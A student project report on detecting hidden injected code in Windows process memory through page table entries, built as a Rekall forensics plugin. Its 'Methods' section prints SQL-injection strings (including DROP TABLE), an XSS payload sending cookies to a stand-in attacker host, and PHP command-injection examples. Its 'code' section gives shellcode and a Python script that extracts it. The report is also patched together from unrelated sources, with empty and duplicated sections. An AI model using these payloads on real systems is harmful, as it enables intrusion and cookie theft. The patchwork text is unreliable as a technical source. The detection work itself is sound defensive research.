Detecting Hidden Code via Page Tables
Detecting Hidden Code via Page Tables
ENTRIES
A PROJECT REPORT
Submitted to
Supervisor
Dr. P. Sriramya
1
SAVEETHA SCHOOL OF ENGINEERING
SAVEETHA INSTITUTE OF MEDICAL AND TECHNICAL
SCIENCES: CHENNAI 602 105
BONAFIDE CERTIFICATE
SIGNATURE SIGNATURE
2
DECLARATION BY THE CANDIDATE
SIGNATURE
M.SANDEEP
(Reg. No. 191711149)
3
ACKNOWLEDGEMENT
This project work would not have been possible without the contribution of many people.
It gives me immense pleasure to express my profound gratitude to our honorable Chancellor Dr.
N. M. Veeraiyan, Saveetha Institute of Medical and Technical Sciences, for his blessings and
for being a source of inspiration. I sincerely thank our Vice Chancellor Dr. Rakesh
Kumar Sharma for his visionary thoughts and support. I am indebted to extend my gratitude to
our Director madam Mrs. Ramya Deepak, Saveetha School of Engineering, for facilitating us
all the facilities and extended support to gain valuable education and learning experience.
Engineering and Dr. SP. Chokkalingam, HOD, Department of Computer Science and
Engineering, for the support given to me in the successful conduct of this mini project. I wish to
express my sincere gratitude to my supervisor Dr. P. Sriramya, for his inspiring guidance,
personal involvement and constant encouragement during the entire course of this work.
I am grateful to Project Coordinator, Review Panel External and Internal Members and
the entire faculty of the Department of Computer Science and Engineering, for their constructive
criticisms and valuable suggestions which have been a rich source to improve the quality of this
work.
4
TABLE OF CONTENTS
SN NO TITLE PAGE NO
1 ABSTRACT 4
2 OJECTIVES 5
3 INTRODUCTION 5
4 HARDWARE SPECIFICATIONS 6
5 SOFTWARE SPECIFICATIONS 9
6 TOOLS 9
7 LITERATURE SURVEY 12
8 PROPOSED ARCHITECTURE 17
9 MODULES 18
10 METHODS 19
11 DATA PROCESS 23
12 DATA FLOW 23
13 ALGORITHM 23
14 LOGIC 24
15 CODE 25
16 RESULTS 28
17 CONCLUSION 30
18 FUTURE WORK 30
19 REFERENCES 30
5
ABSTRACT
6
OBJECTIVES
our approach to implement in a plugin for the memory forensic framework
Rekall, which automatically reports any memory region containing executable pages, and
evaluate it against own implementations of different hiding techniques, as well as against real-
world malware samples.
we introduce a novel approach to reveal all executable pages that are of potential
interest for an investigator for a given user space process, despite the hiding techniques covered
in this paper.
Ignored are only yet not allocated memory pages and unmodified pages of
mapped image files (loaded executables and DLLs), as these don't contain any injected code.
In order to retrieve the actual executable state of a page and to differentiate yet
not allocated memory from currently inaccessible memory, we examine the Page Table Entries
which we enumerate via the paging structures, instead of the VADS, as it is faster and more
reliable.
INTRODUCTION
Memory forensics has become more and more important over the last decade for
different reasons: On the one hand, we observe malware that does not persist itself on a
persistent storage device and can only be observed in the running state of the victim host. On the
other hand, live analysis is not always capable of generating reliable results as the victim host
might be compromised with a kernel level Rootkit, using attack techniques that effectively
manipulate information gathered during the analysis. The presence of such malware can be
proven by analyzing a main memory image of the system (captured by one of the many existing
techniques, which we do not want to discuss here). Besides kernel level mal-ware, there is also
user space malware which uses its own set of techniques in order to get its task accomplished.
One such tech-nique are code injections.
Tools/plugins for code injection detection are not able to cope with the existing
injection techniques and fail to reliably reveal existing malware utilizing certain hiding
techniques. This is due to the in-formation they rely on, for example the VAD , which has a
protection field that plu-gins use to detect executable code. An attacker can, however, create
executable memory in a certain way so the VAD does not indicate that it is executable and
detection mechanisms won't report it. On the other hand, it is possible to exploit the paging
mechanism in order to hide injected code. As some plugins prevent to report empty memory
(filled with zeros or not yet allocated), they fail to report memory regions related to code
injection when the corre-sponding pages have been paged out. This can also happen unin-
tentionally, when the Operating Sytem writes malicious pages into the pagefile on memory
shortage.
7
Hardware Specification
Processor speed
The clock speed measures how fast a processor completes operations, usually
measured in megahertz and gigahertz. A 1.8GHz processor runs at 1,800,000,000 cycles per
second.
Best high-end CPU: Intel Core i9-9900K
Memory Capacity
Memory capacity. The memory capacity is the maximum or minimum amount of
memory a computer or hardware device is capable of having or the required amount of
memory required for a program to run.The amount of real memory in a computer is
limited to the amount of RAM installed. memory sizes can
Low 256MB
Medium 512MB
High 1GB
Storage capacity
The maximum number of bits, bytes, words, or items that can be held in a
memory system such as that of a computer or of the brain.
Low 10 GB
Medium 250 GB
High 1TB
Network requirement
8
Software Specification
Language for coding
Tools
1. Remote Shellcode Injection :Remote Shellcode Injection is the simplest code injection
tech-nique, which consists of only three steps:
Allocate memory in the target remote process with EXECU-TE_READWRITE
protection.
9
2. Unmap the memory region of the original executable (e.g. via the
ZwUnmapViewOfSection API).
3. Write the new executable to the victim process (e.g. via the WriteProcessMemory API).
4. The start address of the suspended thread is patched with the one from the new
executable.
5. Gargoyle
Gargoyle is not an injection but a hiding technique that can however be applied to
injected code. The trick of Gargoyle is to set the permissions of all pages containing the
malicious code to non-executable as long as the code doesn't need to run and only sets them
executable as long as the code is running.
Using APIs that, if used properly, are secure against all input characters. Parameterized
queries (also known as "Compiled queries", "prepared statements", "bound variables")
allows for moving user data out of string to be interpreted. Additionally Criteria API and
similar APIs move away from the concept of command strings to be created and
interpreted.
Input validation, such as whitelisting only known good values, this can be done on client
side using JavaScript for example or it can be done on the server side which is more
secure.
Input encoding, e.g. escaping dangerous characters. For instance, in PHP, using the
htmlspecialchars() function to escape special characters for safe output of text in HTML,
and mysqli::real_escape_string() to isolate data which will be included in an SQL
request, to protect against SQL Injection.
Output encoding, i.e. preventing HTML Injection (XSS) attacks against web site visitors
HttpOnly is a flag for HTTP Cookies that, when set, does not allow client-side script
interaction with cookies, thereby preventing certain XSS attacks.
With SQL Injection, one can use parameterized queries, stored procedures, whitelist input
validation, and more to help mitigate Code Injection problems.
10
The solutions listed above deal primarily with web-based injection of HTML or script code into
a server-side application. Other approaches must be taken, however, when dealing with injection
of user code on the user machine, resulting in privilege elevation attacks. Some approaches that
are used to detect and isolate managed and unmanaged code injections are:
Runtime image hash validation – capture a hash of a part or complete image of the
executable loaded into memory, and compare it with stored and expected hash.
NX bit – all user data is stored in a special memory sections that are marked as non-
executable. The processor is made aware that no code exists in that part of memory, and
refuses to execute anything found in there.
[In C]Code Pointer Masking (CPM) – after loading a (potentially changed) code pointer
into a register, apply a bitmask to the pointer. This effectively restricts the addresses to
which the pointer can refer
11
Technical Feasibility
Malware utilizes code injection techniques to either manipulate other processes
(e.g. done by banking trojans) or hide its existence. With some exceptions, such as ROP gadgets,
the injected code needs to be executable by the CPU (at least at some point in time). In this work,
we cover and evaluate hiding techniques that prevent executable pages (containing injected code)
from being reported by current detection tools. These techniques can either be implemented by
malware in order to hide its injected code (as already observed) or can, in one case,
unintentionally be taken care of by the operating system through its paging mechanism. In a
second step, we present an approach to reveal such pages despite the mentioned hiding
techniques by examining Page Table Entries
Requirement
Tools/plugins for code injection detection are not able to cope with the
existing injection techniques and fail to reliably reveal existing malware utilizing certain hiding
techniques. This is due to the in-formation they rely on, for example the VAD , which has a
protection field that plu-gins use to detect executable code. An attacker can, however, create
executable memory in a certain way so the VAD does not indicate that it is executable and
detection mechanisms won't report it. On the other hand, it is possible to exploit the paging
mechanism in order to hide injected code. As some plugins prevent to report empty memory
(filled with zeros or not yet allocated), they fail to report memory regions related to code
injection when the corre-sponding pages have been paged out. This can also happen unin-
tentionally, when the Operating Sytem writes malicious pages into the pagefile on memory
shortage.
Literature Survey
PAPER[1]: Cryptomining Malware Goes Fileless, This paper states that Security vendors
reacted by improving their detection capabilities; however, as we have seen in the past, cyber
criminals remain one step ahead of the defenders, this time shifting to fileless techniques in order
to remain undetected. It provides an example of how malicious miners are evolving to use
advanced fileless techniques to succeed in mining Monero and spreading silently on a global
scale. In this attack, we also witnessed how competing miners are fighting each other to generate
more income for themselves, removing other miners on the endpoint. Minerva Labs analyzed the
attack and presents a novel way of turning the tables on mining attackers by using their scripts to
remove competitors, against them. The battle on exploitable endpoints is fierce. This miner starts
its operation only after eliminating the competition–killing any miner on the endpoint that they
can identify. The sample we analyzed implemented a wide range of techniques, some weren’t
reported before, including:
12
Kill running miners using PowerShell’s “Stop-Process -force” command, detecting it by a
hard-coded blacklist
Remove miners that run as blacklisted scheduled tasks by the task name using exe
Stop and removie miners by their commandline arguments, e.g. if one of the arguments
contains the word “*cryptonight*”–using WMI and PowerShell
Stop and remove miners by going through the list of established TCP connections,
looking for ports associated with miners (the data is collected using exe)
PAPER[2] : Windows Virtual Address Translation and the Pagefile,This paper states that
the A fundamental capability of any memory analysis framework is to reconstruct the virtual
address space from the memory image. While in principle this task is documented by the Intel or
AMD programmer manuals, in practice one needs to take into account operating system specific
information to fully use all the information available.Rekall is the first open source memory
forensic framework to currently take advantage of the pagefile during the analysis of windows
systems. The WinPmem acquisition tool since version 1.6.2 is capable of automatically capturing
the pagefile during acquisition. Rekall translates virtual addresses into their physical offsets - a
pre-requisite to being able to read process and kernel address spaces. Minerva Labs analyzed the
attack and presents a novel way of turning the tables on mining attackers by using their scripts to
remove competitors, against them. The battle on exploitable endpoints is fierce.
2. Execution – Hijacking a thread of the target process to execute the code written in stage
1.
3. Restoration – Cleaning up and restoring the execution of the thread hijacked in stage 2.
A thread can only do this by calling one of the following functions with the appropriate flags:
SleepEx
WaitForSingleObjectEx
WaitForMultipleObjectsEx
SignalObjectAndWait
13
MsgWaitForMultipleObjectsEx
When the thread enters an alertable state, the following events occur:
1. The kernel checks the thread’s APC queue. If the queue contains callback function
pointers, the kernel removes the pointer from the queue and sends it to the thread.
2. The thread executes the callback function.
PAPER[4] :REKALL FORENSICS ,This states that the Rekall is an advanced forensic and
incident response framework. While it began life purely as a memory forensic framework, it has
now evolved into a complete platform. Rekall implements the most advanced analysis
techniques in the field, while still being developed in the open, with a free and open source
license. Many of the innovations implemented within Rekall have been published in peer
reviewed papers .Rekall provides an end-to-end solution to incident responders and forensic
analysts. From state of the art acquisition tools, to the most advanced open source memory
analysis framework. Rekall at a glance. Rekall Agent is a complete endpoint incident response
and forensic tool. The Rekall Agent extends Rekall's advanced capabilities to a scalable,
distributed environment. The Rekall Agent is easy to deploy and scale, based on modern cloud
technologies..
PAPER[5] : Analyzing a form-grabber malware, This paper states that the Stormshield
Security Intelligence team, my initiation ritual was to analyze a form-grabber malware used to
steal passwords thanks to web-browser injection method. In this article I’ll try to present a
detailed analysis of this malware, with emphasis on the web-browser injection part. The malware
is pretty old, its compilation time-stamp points out that it may have been used during November,
2012. However, as we will see throughout this blog-post, it is still effective against latest
browsers (running in 32-bit mode). Xylitol, a security researcher, has shared a sample of this
malware on Virus Total at the end of 2012, but no public analysis seems to be available on the
Internet. Due to the lack of information about this malware, the propagation method of this threat
is unknown. Once a process’ name matches an expected one, a call to OpenProcess() is used to
get an handle on the targeted process. Then, a call to VirtualAlloc() allows the malware to
allocate an executable memory-area within the targeted process address-space. This memory-
area is used to store a copy of the PE file currently running, by using its address base (pushed at
the end of the 2nd packing stage) as a source address. This is performed using
WriteProcessMemory(). Now, the entire PE is mapped within the targeted process address-space,
and a last call to CreateRemoteThread() allows the injected thread to start running.Since the
malware doesn’t pass any variable to the thread function, the remote thread doesn’t know in
which process it is running.
PAPER[6] : Surveying the user space through user allocation, This paper states
that the, Memory forensics provides a valuable way of analysing the contents of physical
14
memory, in order to obtain transient information that would not necessarily be present on disk.
Previous research in this area has focused on understanding and interpreting the layout and
contents of the kernel portion of memory, in order to facilitate the development of memory
analysis tools that recreate the capabilities of previously used live response tools. While this
work has been invaluable, allowing the examination of processes, drivers, network sockets and
other useful artefacts, it has not been taking into account the full picture. Previous research has
focused almost exclusively on the data the operating system it self is using, not the dataof the
user applications running on that operating system. As a result, the data and data structures used
by these applications have not been examined, resulting in a lack of methodologies for
understanding and interpreting this application data. Without such methods, it is not possible
PAPER[7] : Memory Protection Constants,This paper states that the,
PAPER[8] : VirtualProtectEx function This paper states the access protection value can be
set only on committed pages. If the state of any page in the specified region is not committed,
the function fails and returns without modifying the access protection of any pages in the
specified region.
The PAGE_GUARD protection modifier establishes guard pages. Guard pages act as one-shot
access alarms. For more information, see Creating Guard Pages.
15
It is best to avoid using VirtualProtectEx to change page protections on memory
blocks allocated by GlobalAlloc, HeapAlloc, or LocalAlloc, because multiple memory blocks
can exist on a single page. The heap manager assumes that all pages in the heap grant at least
read and write access.
When protecting a region that will be executable, the calling program bears
responsibility for ensuring cache coherency via an appropriate call to FlushInstructionCache
once the code has been set in place. Otherwise attempts to execute code out of the newly
executable region may produce unpredictable results.
PAPER[9] : A Deep Dive Into RIG Exploit Kit Delivering Grobios Trojan This
paper states that the Grobios uses various techniques to evade detection and gain persistence on
the machine, which makes it hard for it to be uninstalled or to go inactive on the victim machine.
It also uses multiple anti-debugging, anti-analysis and anti-VM techniques to hide its behavior.
After successful installation on the victim machine, it connects to its command and control (C2)
server, which responds with commands.In an effort to evade static detection, the authors have
packed the sample with PECompact 2.xx. The unpacked sample has no function entries in the
import table. It uses API hashing to obfuscate the names of API functions it calls and parses the
PE header of the DLL files to match the name of a function to its hash. The malware also uses
stack strings. Figure 6 shows an example of the malware calling WinApi using the hashes.
Process A starts a legitimate process B in the suspended mode as a result of that the
executable section of process B is loaded in the memory and also the PEB (process environment
block) identifies the full path to the legitimate process and PEB’s ImageBaseAddress points to
the address where the legitimate process executable is loaded.
Malware process A gets the malicious code (mostly executable) to inject. This code can
come from the resource section of the malware process or from the file on the disk
Malware process A determines the base address of the legitimate process B so that it can
unmap the executable section of the legitimate process. Malware can determine the base address
by reading the PEB (i.e PEB.ImageBaseAddress).
Malware process A then deallocates the executable section of the legitimate process
16
Proposed Architecture
Architecture Design
17
Modules
1. Transition state
If the Valid flag is unset, the MMU does not process the PTE any further but a
page fault is generated where the Operating System will interpret the state of the PTE and act
accordingly . While a MMU PTE in transition state is not valid (has an unset Valid flag), the
corresponding physical page is still available and the PageFrameNumber still points to it. This
state is, as the name sug-gests, a transition phase from an active state into another one (the next
state depends on the type of memory) and gives the process a last chance to access the page
before it is removed from its working set and the physical page freed for other content. This state
can, similar to the hardware state, be reached for private and shared memory. The struct to apply
in this case is _MMPTE_TRANSITION and a MMU PTE in this state has the Valid and
Prototype flag unset and the Transition flag set.
2. Proto-pointer PTE
In this state, the MMU PTE is an instance of _MMPTE_PROTOTYPE and
should not be confused with a prototype PTE: It serves in fact as a pointer to a prototype PTE
and hence is called in this work a proto-pointer PTE . A proto-pointer PTE has the Valid flag
unset and the Prototype flag set. The proto-pointer PTE is only used in the context of shared
memory and only occurs when the corresponding physical page has been accessed before, but is
currently not anymore in the working set .
3. Pagefile state
Another invalid state occurs when the physical page has been written to the
pagefile (paged out). This state is represented by a MMU PTE instance of
_MMPTE_SOFTWARE, where the Valid, Proto-type and Transition flags are all unset but the
PageFileHigh field has a non-zero value . In this case, the page's content cannot be read anymore
from RAM but must be gathered from the pagefile.
4. Unaccessed state
This initial MMU PTE value is in this case zero and changed when the page is
accessed for the first time. For private memory, such a PTE state is also called demand zero, as
on access, a page of zeros is mapped in the process' address space . The unaccessed state also
occurs for all types of shared memory, while in this case a page access typi-cally leads to the
mapping of already existing memory into the process' address space. Besides the MMU PTE
value of zero, there are two known cases where a not yet accessed page has a non-zero PTE
value. The first is the result of changing the protection of a page in the unaccessed state. The new
protection is then stored in the Protection field (can be read by applying the
_MMPTE_SOFTWARE struct), while all other fields remain zero. The only exception from this
are mapped image files. When the protection of a not yet accessed image file's page is changed,
it goes into the proto-pointer state.
5. Large and huge pages
It is possible to allocate large and huge pages that have a size of 2-Mbyte and 1-
Gbyte accordingly on x86 architectures . “Some processors support configurable page sizes, but
Windows does not use this feature. While the physical page for normal sized pages are
referenced by the entries in the Page-Table (ignoring all special cases right now), large pages are
18
referenced by an entry in the Page-Directory Table and huge pages by an entry in the Page-
Directory-Pointer Table .
6. Evaluation with code injection PoCs
The detection rate gets worse when the malicious pages are paged out. In
this case, malfind, malthfind and hashtest do report none of the executable pages (only hashtest
does at least print the memory region, but states that zero executable pages are contained in it)
while Psinfo does now only report the Process Hollowing related pages. Furthermore,
atombombing and Gargoyle_a/Gargoy-le_m_a are not detected by any plugin, except ptenum.
7. Evaluation with malware
The malware samples evaluated in this Section have been picked for their
code injection behavior, as they implemented some hiding techniques. Their analysis was done
with API monitoring and a before and after comparison of memory dumps. In the following we
describe the code injection/hiding specific behavior of each mal-ware sample that was present at
the time of the memory dump with a focus on anonymous memory. If not specified otherwise,
the allocated memory is private.
Methods
SQL injection :
SQL injection takes advantage of the syntax of SQL to inject commands that can read or modify a
database, or compromise the meaning of the original query.
For example, consider a web page that has two fields to allow users to enter a user name and a
password. The code behind the page will generate a SQL query to check the password against the
list of user names:
SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'
If this query returns any rows, then access is granted. However, if the malicious user enters a valid
Username and injects some valid code ( password' OR '1'='1 ) in the Password field, then the
resulting query will look like this:
SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'
In the example above, "Password" is assumed to be blank or some innocuous string. " '1'='1' " will
always be true and many rows will be returned, thereby allowing access.
The technique may be refined to allow multiple statements to run, or even to load up and run
external programs.
Assume a query with the following format:
19
SELECT User.UserID
FROM User
WHERE User.UserID = ' " + UserID + " '
AND User.Pwd = ' " + Password + " '
Password: 'OR"='
SELECT User.UserID
FROM User
WHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='
The result is that the table User will be removed from the database. This occurs because the ;
symbol signifies the end of one command and the start of a new one. -- signifies the start of a
comment.
Cross-site scripting :
Code injection is the malicious injection or introduction of code into an application. Some
web servers have a guestbook script, which accepts small messages from users, and
typically receives messages such as:
However a malicious person may know of a code injection vulnerability in the guestbook, and
enters a message such as:
Nice site, I think I'll take it.
<script>window.location="http://some_attacker/evilcgi/cookie.cgi?steal="
+escape(document.cookie)</script>
If another user views the page then the injected code will be executed. This code can allow the
attacker to impersonate another user. However this same software bug can be accidentally
triggered by an unassuming user which will cause the website to display bad HTML code.
HTML and script injection is a popular subject, commonly termed "cross-site scripting" or
"XSS". XSS refers to an injection flaw whereby user input to a web script or something along
such lines is placed into the output HTML, without being checked for HTML code or scripting.
Many of these problems are related to erroneous assumptions of what input data is possible, or
the effects of special data.
20
$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');
The argument of "eval" will be processed as PHP, so additional commands can be appended.
For example, if "arg" is set to "10; system('/bin/echo uh-oh')", additional code is run
which executes a program on the server, in this case "/bin/echo".
Object injection
PHP allows serialization and deserialization of whole objects. If untrusted input is allowed into
the deserialization function, it is possible to overwrite existing classes in the program and
execute malicious attacks.
printf("Enter an integer\n");
scanf("%d", &int_in);
printf("Please enter a string\n");
fgets(user_input, sizeof(user_input), stdin);
return 0;
21
If the user input is filled with a list of format specifiers such as %s%s%s%s%s%s%s%s , then
printf()will start reading from the stack. Eventually, one of the %s format specifier will access
the address of password , which is on the stack, and print Password1 to the screen.
Shell injection
Shell injection (or command injection [16]) is named after Unix shells, but applies to most systems
which allow software to programmatically execute a command line. Here is an example
vulnerable tcsh script:
#!/bin/tcsh
# check arg outputs it matches if arg is one
if ($1 == 1) echo it matches
If the above is stored in the executable file ./check, the shell command ./check " 1 ) evil"
will attempt to execute the injected shell command evil instead of comparing the argument with
the constant one. Here, the code under attack is the code that is trying to check the parameter, the
very code that might have been trying to validate the parameter in order to defend against an
attack.[17]
Any function that can be used to compose and run a shell command is a potential vehicle for
launching a shell injection attack. Among these are system(), StartProcess(), and
System.Diagnostics.Process.Start().
Client-server systems such as web browser interaction with web servers are potentially
vulnerable to shell injection. Consider the following short PHP program that can run on a web
server to run an external program called funnytext to replace a word the user sent with some
other word.
<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);
?>
The passthru in the above composes a shell command that is then executed by the web server.
Since part of the command it composes is taken from the URL provided by the web browser, this
allows the URL to inject malicious shell commands. One can inject code into this program in
several ways by exploiting the syntax of various shell features (this list is not exhaustive).
22
Process
Flow
2.Algorithm
23
Logic
The attack technique has been labeled 'AtomBombing'. It manipulates Windows' underlying
Atom Tables mechanisms. Atom Tables are used to hold data strings. Applications place the
strings into the table and receive back an 'atom' identifier for the string.
Windows has several different Atom Tables for different purposes. The Global Atom Table can
be used to share data between different DDE applications. "Rather than passing actual strings, a
DDE application passes global atoms to its partner application. The partner uses the atoms to
obtain the strings from the atom table," explains Microsoft's own data sheet. discovery that an
attacker can write malicious code into an atom table, and force a legitimate program to retrieve
that malicious code. Furthermore, wrote Liberman, "We also found that the legitimate program,
now containing the malicious code, can be manipulated to execute that code."
The result is that maliciousness has been passed from an unknown malicious application to a
known good application or process. While security defenses are on red alert to detect and block
malicious applications, they often whitelist known good applications or processes. That is the
attraction of 'code injection' as an attack vector: where it can be achieved, it can be used, notes
Liberman, "to bypass security products, hide from the user, and extract sensitive information that
would otherwise be unattainable."
Two examples of how AtomBomb code injection can help the attacker to access context-specific
data. The first is taking screenshots. Processes can only do this from within the context of the
user's desktop. Malware, however, usually lands in the services desktop, and is unable to execute
user screenshots. AtomBombing would allow the attacker to inject code from the services
desktop into a process already running within the user desktop, take the screenshot, and pass it
back to the malware in the services desktop.
24
The second example is access to encrypted passwords. Chrome, for example, encrypts users'
stored passwords using the Windows Data Protection API (DPAPI) together with data derived
from the current user. Again, passwords can only be accessed from within the user context --
which AtomBombing can achieve. "If the malware injects code into a process that's already
running in the context of the current user," writes Liberman, "the plain-text passwords can be
easily accessed."
The problem for users is that AtomBombing cannot be fixed -- it's the way Windows works.
With no chance of a patch, the solution is some other form of mitigation. enSilo believes the
issue is another argument for a shift of emphasis from attack prevention to consequence
mitigation. "Under the assumption that threat actors will always exploit known and unknown
techniques, we need to build our defenses in a way that prevents the consequences of the attack
once the threat actor has already compromised the environment.
code
typedef void * (__stdcall *pfnLoadLibraryA)(void *lpLibFileName);
typedef void * (__stdcall *pfnGetProcAddress)(void * hModule, void * lpProcName);
typedef int(__stdcall *pfnWinExec)(void * lpCmdLine, unsigned int uCmdShow);
typedef int(__stdcall *pfnZwContinue)(void * lpContext, int TestAlert);
FUNCTIONPOINTERS g_FunctionPointers;
25
void shellcode_entry();
void shellcode_entry()
{
PFUNCTIONPOINTERS ptFunctionPointer = 0x13371337;
pfnWinExec pfnWinExec;
pfnZwContinue pfnZwContinue;
void * ptContext;
void * hKernel32;
void * hNtDll;
char pszKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' };
char pszNtDll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', '\0' };
char pszZwContinue[] = { 'Z','w','C','o','n','t','i','n','u','e', '\0'};
char pszWinExec[] = { 'W', 'i', 'n', 'E', 'x', 'e', 'c', '\0' };
char pszCalcExe[] = { 'c', 'a', 'l', 'c', '.', 'e', 'x', 'e', '\0' };
__asm{
mov[ptContext], edi;
}
hKernel32 = ptFunctionPointer->pfnLoadLibraryA(pszKernel32);
if (0 == hKernel32)
{
goto lblCleanup;
}
hNtDll = ptFunctionPointer->pfnLoadLibraryA(pszNtDll);
if (0 == hNtDll)
{
goto lblCleanup;
}
26
pfnZwContinue = ptFunctionPointer->pfnGetProcAddress(hNtDll, pszZwContinue);
if (0 == pfnZwContinue)
{
goto lblCleanup;
}
pfnWinExec(pszCalcExe, 0);
pfnZwContinue(ptContext, 1);
lblCleanup:
return;
}
void dummy()
{
int dummy = 0xDEADBABE;
}
#include <Windows.h>
int main()
{
g_FunctionPointers.pfnGetProcAddress = GetProcAddress;
g_FunctionPointers.pfnLoadLibraryA = LoadLibraryA;
fix_esp();
shellcode_entry();
dummy();
}
PYTHON SCRIPT :
import pefile
import sys
import os
DUMMY_FUNC = "\x55\x8b\xec\x51\xc7\x45\xfc\xbe\xba\xad\xde\x8b\xe5\x5d\xc3"
def main():
exe_path = sys.argv[1]
27
pe = pefile.PE(exe_path)
print "Starting!"
output = ""
text_section = ""
for section in pe.sections:
if ".text" in section.Name:
print (section.Name, hex(section.VirtualAddress),
hex(section.Misc_VirtualSize), section.SizeOfRawData )
text_section = pe.get_data(section.VirtualAddress,
section.SizeOfRawData)
binary_shellcode = text_section[:text_section.find(DUMMY_FUNC)]
for byte in binary_shellcode:
output += "\\x%x" % ord(byte)
output = "#define SHELLCODE (\"%s\")" % output
folder, file_name = os.path.split(exe_path)
base, _ = os.path.splitext(file_name)
print os.path.join(folder, base+".h")
open(os.path.join(folder, base) + ".h", "wb").write(output)
open(os.path.join(folder, base) + ".text", "wb").write(text_section)
open(os.path.join(folder, base) + ".shellcode", "wb").write(binary_shellcode)
if __name__ == "__main__":
main()
28
29
CONCLUSION :
In this work, we demonstrate that it is possible to prevent injected code
from being reported by current code injection detection plugins. We introduce a novel approach
that is able to detect executable pages despite any intentional (or unintentional) hiding
technique . Only DEP with paged out pages and Gargoyle were successful in hiding from our
plugin, but this behavior is expected as the affected pages are not executable. We implemented a
Rekall plugin that leverages our introduced approach, which we publicly release alongside with
this paper. Because our plugin reports all executable pages (with the mentioned exclusions), no
matter if they are part of a code injection or benign, it can produce a huge amount of data that
would need to be investigated. The main problem are modified pages of mapped image files as
described in the work by White et al. (2013). As the plugin supports to omit those, it can be used
as an improved malfind plugin (but would miss code injections in mapped image files).
Otherwise, it is not suitable forlarge processes but can be used for small ones orin a before vs.
after comparison. This is why our plugin should be integrated with code injection detection
plugins, in particular hashtest, in order to strip benign data and improve their results. As we rely
on the paging structures to identify executable pages, our approach does not work if the page
tables are paged out and the pagefile is not given. For these cases, a fallback mechanism should
be implemented which investigates all VADs, similar to the existing malfind plugin. This
fallback will, however, again be prone to the hiding techniques described in this work. While it
would be possible to enumerate the PFN DB in order to gather page protections.this will only
work for pages in hardware and transition state, as all others have no associated PFN DB entry.
Reference Sources
[1] Aprozper, A., Bitensky, G., 2018. Ghostminer: Cryptomining Malware Goes Fileless [Visited
on 22.11.2018]. URL. https://blog.minerva-labs.com/ghostminercryptomining-malware-goes-
fileless.
[2]Cohen, M., 2014. Windows Virtual Address Translation and the Pagefile [Visited on
19.12.2018]. URL. http://blog.rekall-forensic.com/2014/10/windows-virtualaddress-translation-
and.html.
[3]enSilo inc, 2016. Atombombing: Brand New Code Injection for Windows [Visited on
20.09.2018]. URL. https://blog.ensilo.com/atombombing-brand-new-codeinjection-for-windows.
[4]Google Inc, 2018. Rekall memory forensic framework [Visited on 23.09.2018]. URL.
http://www.rekall-forensic.com.
[5] Jullian, R., 2017. Analyzing a Form-Grabber Malware [Visited on 22.11.2018].URL.
https://thisissecurity.stormshield.com/2017/09/28/analyzing-form-grabbermalware-targeting
browsers/ .
[6] White, A., Schatz, B., Foo, E., 2012. Surveying the user space through user alloca-tions.
Digit. Invest. 9. S3eS12, [Visited on 15.01.2019]. URL. https://www.dfrws.
org/sites/default/files/sessionfiles/papersurveying_the_user_space_through_user_allocations.pdf.
White, A., Schatz, B., Foo, E., 2013. Integrity verification of user space code. Digit. Invest. 10,
S59eS68.Yosifovich, P., Solomon, D.A., Ionescu, A., 2017. Windows Internals, Part 1: System
Architecture, Processes, Threads, Memory Management, and More. Microsoft Press.
[7] Microsoft Corporation, 2019. Memory Protection Constants [Visited on 19.01.2019]. URL.
https://docs.microsoft.com/en-us/windows/desktop/Memory/memory-protection-constants.
30
[8] Microsoft Corporation, 2019. Virtualprotectex function [Visited on 09.01.2019]. URL.
https://msdn.microsoft.com/en-us/library/windows/desktop/aa366899 (v¼vs.85).aspx.
[9] Muhammad, I., Ahmed, S., Faizan, H., Gardezi, Z., 2018. A Deep Dive into Rig Exploit Kit
Delivering Grobios Trojan [Visited on 22.11.2018]. URL. https://www.fireeye. com/blog/threat-
research/2018/05/deep-dive-into-rig-exploit-kit-delivering-grobios-trojan.html.
[10] Monnappa, K.A., 2017. Detecting Deceptive Process Hollowing Techniques Using
Hollowfind Volatility Plugin [Visited on 09.01.2019]. URL. https://cysinfo.com/ detecting-
deceptive-hollowing-techniques/
31